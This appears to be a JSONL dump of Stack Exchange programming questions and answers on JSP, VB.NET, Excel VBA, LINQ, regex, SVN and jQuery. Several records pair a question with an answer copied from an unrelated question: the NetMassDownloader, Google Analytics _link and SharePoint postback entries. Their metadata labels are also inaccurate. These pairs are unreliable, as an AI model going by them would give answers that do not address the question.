"answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:29.155239"}
{"id": "hf_e8eedb7a7552", "question": "<p>I'm really stumped on this one. I want to output a list and have the tag file take care of commas, singular versus plural, etc. but when I display the list it completely ignores whitespace so everythingrunstogetherlikethis. I tried using the HTML entities \"thinsp\", \"ensp\" and \"emsp\" (I can't use \"nbsp\", these have to be breaking), but they're all hideously wide on IE except thinsp which is way too skinny on everything else.</p>\n\n<p>Edit:\n won't work. The output from the tag has no spaces at all. Although any content in the JSP has normal spacing. Obviously I could just put everything in the JSP but this is code that goes on multiple JSPs, so tag files would make a lot of sense.</p>\n", "question_body": "", "answer": "Maybe put the jsp content in an html\n```\n<pre>\n```\ntag?\nThis seems to me to be the right thing to do as the list is pre-formatted content.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:29.207834"}
{"id": "hf_f407c7da89ea", "question": "<p>Consider the following code:</p>\n\n<pre><code>Public Class Animal\n\nPublic Overridable Function Speak() As String\n    Return \"Hello\"\nEnd Function\n\nEnd Class\n\nPublic Class Dog\n    Inherits Animal\n\n    Public Overrides Function Speak() As String\n        Return \"Ruff\"\n    End Function\n\nEnd Class\n\nDim dog As New Dog\nDim animal As Animal\nanimal = CType(dog, Animal)\n// Want \"Hello\", getting \"Ruff\"\nanimal.Speak()\n</code></pre>\n\n<p>How can I convert/ctype the instance of Dog to Animal and have Animal.Speak get called?</p>\n", "question_body": "", "answer": "You don't; the subclass's method overrides the superclass's method, by definition of inheritance.\nIf you want the overridden method to be available, expose it in the subclass, e.g.\n```\n```\nPublic Class Dog \n    Inherits Animal\n    Public Overrides Function Speak() As String\n        Return \"Ruff\"\n    End Function\n    Public Function SpeakAsAnimal() As String\n        Return MyBase.Speak()\n    End Function\nEnd Class\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:29.231882"}
{"id": "hf_e621017b485f", "question": "<p>I have a protected Excel worksheet, without a password. \nWhat I'd like to do is trap the event that a user unprotects the worksheet, so that I can generate a message (and nag 'em!). I can setup event checking for the application, for when new workbooks are opened, etc., but not for Unprotect.<br>\nDoes anyone have an idea?</p>\n", "question_body": "", "answer": "It is possible to modify the menu using Tools->Customize. Protect/Unprotect can be set to run a macro, for example:\n```\n```\nSub UnprotectTrap()\nIf ActiveSheet.ProtectContents = True Then\n    MsgBox \"Tut,tut!\"\n    ActiveSheet.Unprotect\nElse\n    ActiveSheet.Protect\n\nEnd If\nEnd Sub\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:29.278906"}
{"id": "hf_9728ee1e3548", "question": "<p>Is it possible via code to programmatically (from .NET for example via SQL query) to ask an Access database if it is corrupt or have tables with corrupt rows in it?</p>\n\n<p>//Andy</p>\n", "question_body": "", "answer": "Here is some VBA that can be used to check for an error in previous releases of Access. It may also suit 2007.\n```\n```\nSub CheckForErr(tablename)\nDim rs As dao.Recordset\nDim db As Database\n\nSet db = CurrentDb\n\nSet rs = db.OpenRecordset(tname)\n\nWith rs\n   Do While Not .EOF\n        For Each fld In rs.Fields\n            If IsError(rs(fld.Name)) Then\n               Debug.Print \"Error\"\n            End If\n        Next\n        .MoveNext\n    Loop\nEnd With\n\nrs.Close\nSet rs = Nothing\n\nEnd Sub\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:29.303175"}
{"id": "hf_b6ad544cf857", "question": "<p>I need to match a string like \"one. two.    three. four. five.  six. seven. eight. nine. ten. eleven\" into groups of four sentences.  I need a regular expression to break the string into a group after every fourth period. Something like: </p>\n\n<pre><code>  string regex = @\"(.*.\\s){4}\";\n\n  System.Text.RegularExpressions.Regex exp = new System.Text.RegularExpressions.Regex(regex);\n\n  string result = exp.Replace(toTest, \".\\n\");\n</code></pre>\n\n<p>doesn't work because it will replace the text before the periods, not just the periods themselves.  How can I count just the periods and replace them with a period and new line character?</p>\n", "question_body": "", "answer": "Try defining the method\n```\n```\nprivate string AppendNewLineToMatch(Match match) {\n    return match.Value + Environment.NewLine;\n}\n```\n```\nand using\n```\n```\nstring result = exp.Replace(toTest, AppendNewLineToMatch);\n```\n```\nThis should call the method for each match, and replace it with that method's result. The method's result would be the matching text and a newline.\nEDIT: Also, I agree with Oliver. The correct regex definition should be:\n```\n```\nstring regex = @\"([^.]*[.]\\s*){4}\";\n```\n```\nAnother edit: Fixed the regex, hopefully I got it right this time.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:29.340137"}
{"id": "hf_7516acdf503e", "question": "<p>I'm using a the TreeView control and it scrolls automatically to left-align TreeViewItem when one of them is clicked.  I've gone looking at my Styles and ControlTemplates, but I haven't found anything.  Is there a default ControlTemplate that causes this? I want to disable it.</p>\n", "question_body": "", "answer": "It looks like I found a good clue on\nMSDN\n:\nSounds like this is an interaction\n  with the scrollviewer and the focus\n  system.\nWhen an element is focused within a\n  ScrollViewer (which is part of the\n  TreeView template), the ScrollViewer\n  is instructed to make the element\n  visible. It automatically responds by\n  scrolling to the requested element.\nThe methods inside of ScrollViewer\n  that handle these focus requests are\n  all private and / or internal so you\n  really can't get to them. I don't\n  think there's too much you can do in\n  this case; it's just how focus works.\nSo, is that it? Surely there's a way to modify the TreeView template so that the ScrollViewer won't have this behavior...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:29.389080"}
{"id": "hf_5efaa2282970", "question": "<p>I am creating a small web page using PHP that will be accessed as an IFRAME from a couple of sites.  I'm wanting to restrict access to this site to work ONLY within the \"approved\" sites, and not other sites or accessed directly.  Does anyone have any suggestions?  Is this even possible?  The PHP site will be Apache, and the sites iframing the content will probably be .NET.</p>\n\n<p>Just to clarify, any site can view the page, as long as it's iframe'd within an approved site.  I want to block people from accessing it directly.  I'm thinking cookies might be a solution, but I'm not sure.</p>\n", "question_body": "", "answer": "Unfortunately this isn't going to be possible.\nUsing Javascript you can check to see if your page is embedded in another frame, but this won't be foolproof as Javascript can be turned off in some people's browsers.\nFor example, you can run the following javascript to reparent your page if that's the intention:\n```\n```\nif (top.location != location) {\n  top.location.href = document.location.href ;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:29.462859"}
{"id": "hf_73ad2147c5d5", "question": "<p>By default Windows (XP) shows the <strong>underlined hotkeys</strong> only, when ALT is pressed. This can be changed in display-properties in the subdialog \"Effects\" so, that the hotkeys are <strong>always underlined</strong></p>\n\n<p>How can it be changed programmatically? Which API-call or registry-setting can be used to change this setting?</p>\n", "question_body": "", "answer": "Do you mean you want to change this system-wide setting, or that you want to be able to override the behavior only in your program?\nIf it's the latter and you're using the Win32 API, it looks like you might be able to catch the WM_CHANGEUISTATE notification:\nhttp://blogs.msdn.com/oldnewthing/archive/2005/05/03/414317.aspx\nI've not tried it myself but it seems feasible.\nIf it's the former you're aiming for, I've not yet been able to discover a method.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:29.546631"}
{"id": "hf_d648bab06692", "question": "<p>Has anybody else had trouble with getting the .Net Framework source code?  Google doesn't have anything to say about this error message, and neither does the CodePlex issue tracker.</p>\n\n<p>Here is the command I'm using to get the source code for the modules that make up mscorlib.dll.  Am I doing something obviously wrong?</p>\n\n<p>NetMassDownloader.exe -o source -f \"C:\\WINDOWS\\Microsoft.NET\\Framework\\v2.0.50727\\mscorlib.dll\"</p>\n", "question_body": "", "answer": "Do you mean you want to change this system-wide setting, or that you want to be able to override the behavior only in your program?\nIf it's the latter and you're using the Win32 API, it looks like you might be able to catch the WM_CHANGEUISTATE notification:\nhttp://blogs.msdn.com/oldnewthing/archive/2005/05/03/414317.aspx\nI've not tried it myself but it seems feasible.\nIf it's the former you're aiming for, I've not yet been able to discover a method.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:29.569911"}
{"id": "hf_8cb3ada1eed8", "question": "<p>I'm looking for a way to add a close button to a .NET ToolTip object similar to the one the NotifyIcon has. I'm using the tooltip as a message balloon called programatically with the Show() method. That works fine but there is no onclick event or easy way to close the tooltip. You have to call the Hide() method somewhere else in your code and I would rather have the tooltip be able to close itself.  I know there are several balloon tooltips around the net that use manage and unmanaged code to perform this with the windows API, but I would rather stay in my comfy .NET world. I have a thrid party application that calls my .NET application and it has crashes when trying to display unmanaged tooltips.</p>\n", "question_body": "", "answer": "You could try an implement your own tool tip window by overriding the existing one and customizing the onDraw function. I never tried adding a button, but have done other customizations with the tooltip before.\n```\n```\n1    class MyToolTip : ToolTip\n    2     {\n    3         public MyToolTip()\n    4         {\n    5             this.OwnerDraw = true;\n    6             this.Draw += new DrawToolTipEventHandler(OnDraw);\n    7 \n    8         }\n    9 \n   10         public MyToolTip(System.ComponentModel.IContainer Cont)\n   11         {\n   12             this.OwnerDraw = true;\n   13             this.Draw += new DrawToolTipEventHandler(OnDraw);\n   14         }\n   15 \n   16         private void OnDraw(object sender, DrawToolTipEventArgs e)\n   17         {\n                      ...Code Stuff...\n   24         }\n   25     }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:29.616654"}
{"id": "hf_c6d4a74ceeb6", "question": "<p>So what I have right now is something like this:</p>\n\n<pre><code>PropertyInfo[] info = obj.GetType().GetProperties(BindingFlags.Public);\n</code></pre>\n\n<p>where <code>obj</code> is some object.</p>\n\n<p>The problem is some of the properties I want aren't in <code>obj.GetType()</code> they're in one of the base classes further up.  If I stop the debugger and look at obj, the I have to dig through a few \"base\" entries to see the properties I want to get at.  Is there some binding flag I can set to have it return those or do I have to recursively dig through the <code>Type.BaseType</code> hierarchy and do <code>GetProperties</code> on all of them?</p>\n", "question_body": "", "answer": "If you access\n```\nType.BaseType\n```\n, you can get the base type. You can recursively access each base type and you'll know when you've hit the bottom when your type is\n```\nSystem.Object\n```\n.\n```\n```\nType type = obj.GetType();\nPropertyInfo[] info = type.GetProperties(BindingFlags.Public);\nPropertyInfo[] baseProps = type.BaseType.GetProperties(BindingFlags.Public);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:29.639871"}
{"id": "hf_1c4a337aa07f", "question": "<p>I have an ASP.NET web site dedicated to reporting on PBX extension stats.  It comprises many report pages, with HTML generated almost purely by code-behind (setting a Label control's Text property instead of using Response.Write), using un-parameterised string literal SQL queries that populate By Reference DataTable parameters.</p>\n\n<p>Maintenance pages at least comprise DataGrids and detail forms, but use the same DAL, on e thing for which can be said is that it supports multiple DB servers, with sub-classes each overriding these access methods with their own string literal queries.</p>\n\n<p>What do I need to consider cleaning up this mess?  I've already made an almost obvious decision to use a third party reporting solution, and move the queries to stored procs in their respective DB languages, narrowing the diversity of the different DAL classes, and to separate CSS out to shared files, as lots of it is very hidden in C# files!</p>\n", "question_body": "", "answer": "For your back-end design, I suggest having a class to represent each main table of your database (i.e. a Report class and a User class, for example). Anything that's not an event handler should go in the back-end class files / namespace.\nFor your GUI, looks like you're on the right track using ASP.NET controls instead of just streaming your data out to the user. However, you may consider objectifying the areas of the page. For example, one of my favorite tricks is to open semitransparent \"popup\" panels when requiring user input or a something like the Information Bar when displaying a short message.\nConsider AJAX and the AJAX Control Toolkit. It's easy to implement (especially in the case of a rewrite) and provides great flexibility. Specifically, I've found Accordions - sometimes even nested within other Accordions - are excellent at organizing overabundances of information.\nEdit:\nNote that if you were to use AJAX, you basically can't even consider using response.write anymore.\nAs far as having too much content on the screen, remember Panels have a \"Scrollbar\" property and DIVs don't without some heavy changes.\nAlso, I tend to separate my code files by Namespace; but the popular trend is to do so by Class.  This is a better option if you have many Developers or if it's likely several classes within a namespace will be checked out or simultaneously modified by different people.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:29.725821"}
{"id": "hf_0a955879b1f2", "question": "<p>How do I properly convert two columns from SQL (2008) using Linq into a <code>Dictionary</code> (for caching)?</p>\n<p>I currently loop through the <code>IQueryable</code> b/c I can't get the <code>ToDictionary</code> method to work. Any ideas?\nThis works:</p>\n<pre><code>var query = from p in db.Table\n            select p;\n\nDictionary&lt;string, string&gt; dic = new Dictionary&lt;string, string&gt;();\n\nforeach (var p in query)\n{\n    dic.Add(sub.Key, sub.Value);\n}\n</code></pre>\n<p>What I'd really like to do is something like this, which doesn't seem to work:</p>\n<pre><code>var dic = (from p in db.Table\n             select new {p.Key, p.Value })\n            .ToDictionary&lt;string, string&gt;(p =&gt; p.Key);\n</code></pre>\n<p>But I get this error:</p>\n<blockquote>\n<p>Cannot convert from 'System.Linq.IQueryable&lt;AnonymousType#1&gt;' to\n'System.Collections.Generic.IEnumerable'</p>\n</blockquote>\n", "question_body": "", "answer": "```\n```\nvar dictionary = db\n    .Table\n    .Select(p => new { p.Key, p.Value })\n    .AsEnumerable()\n    .ToDictionary(kvp => kvp.Key, kvp => kvp.Value)\n;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:29.800345"}
{"id": "hf_19978134b510", "question": "<p>I read some properties from an xml file, amongst which is a string that refers to an llblgen object for example 'article'. For now I have set up a rather long </p>\n\n<pre><code>Select Case myString\n  Case \"article\"\n    return New ArticleEntity()\n</code></pre>\n\n<p>Etc. which is getting rather ugly as it gets longer and longer ;). Is there a better way to do this ?</p>\n\n<p>(the above is vb.net, but c# examples are fine as well)</p>\n", "question_body": "", "answer": "You could store the type names in the file and use:\n```\n```\nreturn Activator.CreateInstance(Type.GetType(\"Some.Type.String\"));\n```\n```\n(that would work as long as\n```\nSome.Type.String\n```\nhas a default parameterless constructor.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:29.824924"}
{"id": "hf_e96d1b6ca484", "question": "<p>I am writing a stored procedure where I have an input parameter called <em>my_size</em> that is an <em>INTEGER</em>. I want to be able to use it in a <code>LIMIT</code> clause in a <code>SELECT</code> statement. Apparently this is not supported, is there a way to work around this?</p>\n\n<pre><code># I want something like:\nSELECT * FROM some_table LIMIT my_size;\n\n# Instead of hardcoding a permanent limit:\nSELECT * FROM some_table LIMIT 100;\n</code></pre>\n", "question_body": "", "answer": "A search turned up\nthis article\n.  I've pasted the relevant text below.\nHere's a forum post showing an example of prepared statements letting\n  you assign a variable value to the limit clause:\nhttp://forums.mysql.com/read.php?98,126379,133966#msg-133966\nHowever, I think this bug should get some attention because I can't\n  imagine that prepared statements within a procedure will allow for any\n  procedure-compile-time optimizations.  I have a feeling that prepared\n  statements are compiled and executed at the runtime of the procedure,\n  which probaby has a negative impact on efficiency.  If the limit\n  clause could accept normal procedure variables (say, a procedure\n  argument), then the database could still perform compile-time\n  optimizations on the rest of the query, within the procedure.  This\n  would likely yield faster execution of the procedure.  I'm no expert\n  though.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:29.849326"}
{"id": "hf_de004e812394", "question": "<p>How do you go about verifying the type of an uploaded file reliably without using the extension? I'm guessing that you have to examine the header / read some of the bytes, but I really have no idea how to go about it. Im using c# and asp.net.</p>\n\n<p>Thanks for any advice.</p>\n\n<hr>\n\n<p>ok, so from the above links I now know that I am looking for 'ff d8 ff e0' to positively identify a .jpg file for example.</p>\n\n<p>In my code I can read the first twenty bytes no problem:</p>\n\n<pre><code>                FileStream fs = File.Open(filePath, FileMode.Open);\n                Byte[] b = new byte[20];\n                fs.Read(b, 0, 20);\n</code></pre>\n\n<p>so (and please excuse my total inexperience here) but how do I check whether the byte array contains 'ff d8 ff e0'?</p>\n", "question_body": "", "answer": "The first few bytes of a file will often tell you the file type.  See, for example,\nhttp://www.garykessler.net/library/file_sigs.html\nhttp://www.astro.keele.ac.uk/oldusers/rno/Computing/File_magic.html\nUse System.IO to read the byes as binary after the upload.\nI'm curious, though, why you can't rely on on the ContentType header?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:29.874282"}
{"id": "hf_f92cf3a424b4", "question": "<p>When are objects or something else said to be &quot;first-class&quot; in a given programming language, and why? In what way do they differ from languages where they are not?</p>\n<p>When one says &quot;everything is an object&quot; (like in Python), do they indeed mean that &quot;everything is first-class&quot;?</p>\n", "question_body": "", "answer": "In short, it means there are no restrictions on the object's use. It's the same as\nany other object.\nA first class object is an entity that can be dynamically created, destroyed, passed to a function, returned as a value, and have all the rights as other variables in the programming language have.\nDepending on the language, this can\n  imply:\nbeing expressible as an anonymous literal value\nbeing storable in variables\nbeing storable in data structures\nhaving an intrinsic identity (independent of any given name)\nbeing comparable for equality with other entities\nbeing passable as a parameter to a procedure/function\nbeing returnable as the result of a procedure/function\nbeing constructible at runtime\nbeing printable\nbeing readable\nbeing transmissible among distributed processes\nbeing storable outside running processes\nSource\n.\nIn C++ functions themselves are not first class objects, however:\nYou can override the '()' operator making it possible to have an object function, which is first class.\nFunction pointers are first class.\nboost bind, lambda and function do offer first class functions\nIn C++, classes are not first class objects but instances of those classes are.  In Python both the classes\nand\nthe objects are first class objects.  (See\nthis answer\nfor more details about classes as objects).\nHere is an example of Javascript first class functions:\n```\n```\n// f: function that takes a number and returns a number\n// deltaX: small positive number\n// returns a function that is an approximate derivative of f\nfunction makeDerivative( f, deltaX )\n{\n    var deriv = function(x)\n    { \n       return ( f(x + deltaX) - f(x) )/ deltaX;\n    }\n    return deriv;\n}\nvar cos = makeDerivative( Math.sin, 0.000001);\n// cos(0)     ~> 1\n// cos(pi/2)  ~> 0\n```\n```\nSource\n.\nEntities that are not first class objects are referred to as second-class objects.  Functions in C++ are second class because they can't be dynamically created.\nRegarding the edit:\nEDIT. When one says \"everything is\n  an object\" (like in Python), does he\n  indeed mean that \"everything is\n  first-class\"?\nThe term object can be used loosely and doesn't imply being first class.  And it would probably make more sense to call the whole concept 'first class entities'.  But in Python they do aim to make everything first class.  I believe the intent of the person who made your statement meant first class.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:29.899030"}
{"id": "hf_788dc6d314c4", "question": "<p>I'd like to check ancestry using two jQuery objects. They don't have IDs, and are only going to be available as jQuery objects (or DOM nodes if you called <code>get()</code>). jQuery's  <code>is()</code> only works with expressions, so this code would be ideal but will not work:</p>\n\n<pre><code>var someDiv = $('#div');\n\n$('a').click(function() {\n    if ($(this).parents().is(someDiv)) {\n        alert('boo');\n    }\n}\n</code></pre>\n\n<p>Just want to see if one element is a child of another and I'd like to avoid stepping back into DOM land if possible.</p>\n", "question_body": "", "answer": "You can use the index() method to check if an element exists in a list, so would the following work?\n```\n```\nvar someDiv = $('#div');\n\n$('a').click(function() {\n    if ($(this).parents().index(someDiv) >= 0) {\n        alert('boo');\n    }\n}\n```\n```\nFrom\n#index reference\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:29.994344"}
{"id": "hf_19c2b99b8976", "question": "<p>I feel like I should know this, but I haven't been able to figure it out...</p>\n\n<p>I want to get the name of a method--which happens to be an integration test--from inside it so it can print out some diagnostic text.  I can, of course, just hard-code the method's name in the string, but I'd like to make the test a little more DRY if possible.</p>\n", "question_body": "", "answer": "I think the\n```\ntraceback\n```\nmodule might have what you're looking for. In particular, the\n```\nextract_stack\n```\nfunction looks like it will do the job.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:30.067820"}
{"id": "hf_ec7243293a0c", "question": "<p>This one has me scratching my head.</p>\n\n<p>I'm running Subversion 1.3.1 (r19032) on Ubuntu. All was well until recently when I tried to run svnadmin verify prior to a dump. This is the error message:</p>\n\n<blockquote>\n  <p>svnadmin: Invalid diff stream: insn 0\n  cannot be decoded</p>\n</blockquote>\n\n<p>I have looked around for an explanation and fix but can't seem to find one. Subversion experts, I need your help.</p>\n", "question_body": "", "answer": "You should ensure that you are using the correct version of\n```\nsvnadmin\n```\nfor your repository version. It's possible to get errors like this by using the wrong version.\nHaving said that, version 1.3.x is pretty old now and you should consider upgrading to the latest 1.5.x.\nI also found through google that\nsome versions of SVNKit\ncan cause this problem.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:30.090992"}
{"id": "hf_1f7dcbc6d27a", "question": "<p>Has anyone else had any problems using google's Domain Tracking API, I am specifically talking about the _link() method.</p>\n\n<p><a href=\"http://code.google.com/apis/analytics/docs/gaJS/gaJSApiDomainDirectory.html#_gat.GA_Tracker_._link\" rel=\"nofollow noreferrer\">The documentation is here</a></p>\n\n<p>The example provided shows that the _link() method should be used in the onclick event like this:</p>\n\n<pre><code>&lt;a href=\"http://www.newsite.com\" onclick=\"pageTracker._link('http://www.newsite.com');return false;\"&gt;Go to our sister site&lt;/a&gt;\n</code></pre>\n\n<p>However, this essentially just makes the link...do nothing (most probably because of the 'return false').</p>\n\n<p>My understanding is that the pageTracker._link() method is 'supposed' to add additional parameters to the url and do it's own document.location style redirect.</p>\n\n<p>Any ideas / catches / previous posts??</p>\n", "question_body": "", "answer": "You should ensure that you are using the correct version of\n```\nsvnadmin\n```\nfor your repository version. It's possible to get errors like this by using the wrong version.\nHaving said that, version 1.3.x is pretty old now and you should consider upgrading to the latest 1.5.x.\nI also found through google that\nsome versions of SVNKit\ncan cause this problem.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:30.114576"}
{"id": "hf_b90cdcd90c64", "question": "<p>After reading many of the replies to <a href=\"https://stackoverflow.com/questions/244302/what-do-you-think-of-the-new-c-40-dynamic-keyword\">this thread</a>, I see that many of those who dislike it cite the potential for abuse of the new keyword. My question is, what sort of abuse? How could this be abused so badly as to make people vehemently dislike it? Is it just about purism? Or is there a real pitfall that I'm just not seeing?</p>\n", "question_body": "", "answer": "Some see it as a tool that will be abused.  Like \"Option Strict Off\" and \"On Error Resume Next\" in VB which \"pure\" languages like C# and Java have never had.\nMany said the same about the \"var\" keyword, yet I don't see it being abused, once it became understood that it wasn't the same as VB's \"Variant\"\nIt could be abused in places that lazy developers don't want type checking on classes and just try catch dynamic calls instead of writing \"if blah is Blah ...\".\nI personally feel it could be used properly in situations like\nthis\nrecent question that I answered.\nI think the ones really understanding it's power are those heavily into the dynamic .NET languages.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:30.138855"}
{"id": "hf_d16964ff36b1", "question": "<p>I'm using tortoise svn in Windows.</p>\n\n<p>How can I branch in SVN and have it branch my svn:external folders as well?</p>\n", "question_body": "", "answer": "When you create a branch within Subversion you are simply creating a cheap copy of the trunk, branch, or tag that you are branching from. This cheap copy will contain all of the same files and properties as the trunk, branch, or tag that you branched from until you begin to modify the properties or files of the new branch.\nHowever, you may be able to modify one of the 'commit' hooks to modify settings automatically once you commit your branch.\nhttp://svnbook.red-bean.com/en/1.1/ch05s02.html\nOtherwise if you want your externals to be modified on the branch you will need to do so manually.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:30.178061"}
{"id": "hf_fcc55d2b0107", "question": "<p>I've been working on a SharePoint project and I have gone the route of loading User Controls through a custom web part.</p>\n\n<p>I have several web controls where I need to dynamically generate hyperlinks (in a loop from a database) that will call certain functions of the User Control when clicked.</p>\n\n<p>When I'm building my own ASP.NET sites, I just add parameters to the hyperlink and check on the page load to see if I need to run any other code when a hyperlink is click.</p>\n\n<p>I'm starting to realize that this probably won't be very reliable inside the SharePoint environment because I don't control the way web page URLs are formed.</p>\n\n<p>I would prefer to have it post back when the hyperlink is clicked and pass some values, but I'm not sure the best way to approach this.</p>\n\n<p>Could someone point me in the right direction?</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "When you create a branch within Subversion you are simply creating a cheap copy of the trunk, branch, or tag that you are branching from. This cheap copy will contain all of the same files and properties as the trunk, branch, or tag that you branched from until you begin to modify the properties or files of the new branch.\nHowever, you may be able to modify one of the 'commit' hooks to modify settings automatically once you commit your branch.\nhttp://svnbook.red-bean.com/en/1.1/ch05s02.html\nOtherwise if you want your externals to be modified on the branch you will need to do so manually.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:30.205786"}
{"id": "hf_9c749f08da83", "question": "<p>Does anybody know how to call the <code>import data</code> built-in dialog excel from a macro (vba)?</p>\n\n<p>I've tried <code>Application.Dialogs.Item(...).Show</code> but I can´t find the right dialog.\nPlease help.</p>\n\n<p>Thanks in advance.</p>\n", "question_body": "", "answer": "If you choose the Object Browser and search for say, xlDialogImportTextFile, you will get a list of possible dialogs.\nEDIT:\nPerhaps something on these lines would suit:\n```\n```\n'Allow user to select text file\nsf = Application _\n    .GetOpenFilename(\"Text Files (*.txt), *.txt\")\nIf sf <> False Then\n    'Open text file\n    Workbooks.OpenText sf\nEnd If\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:30.230339"}
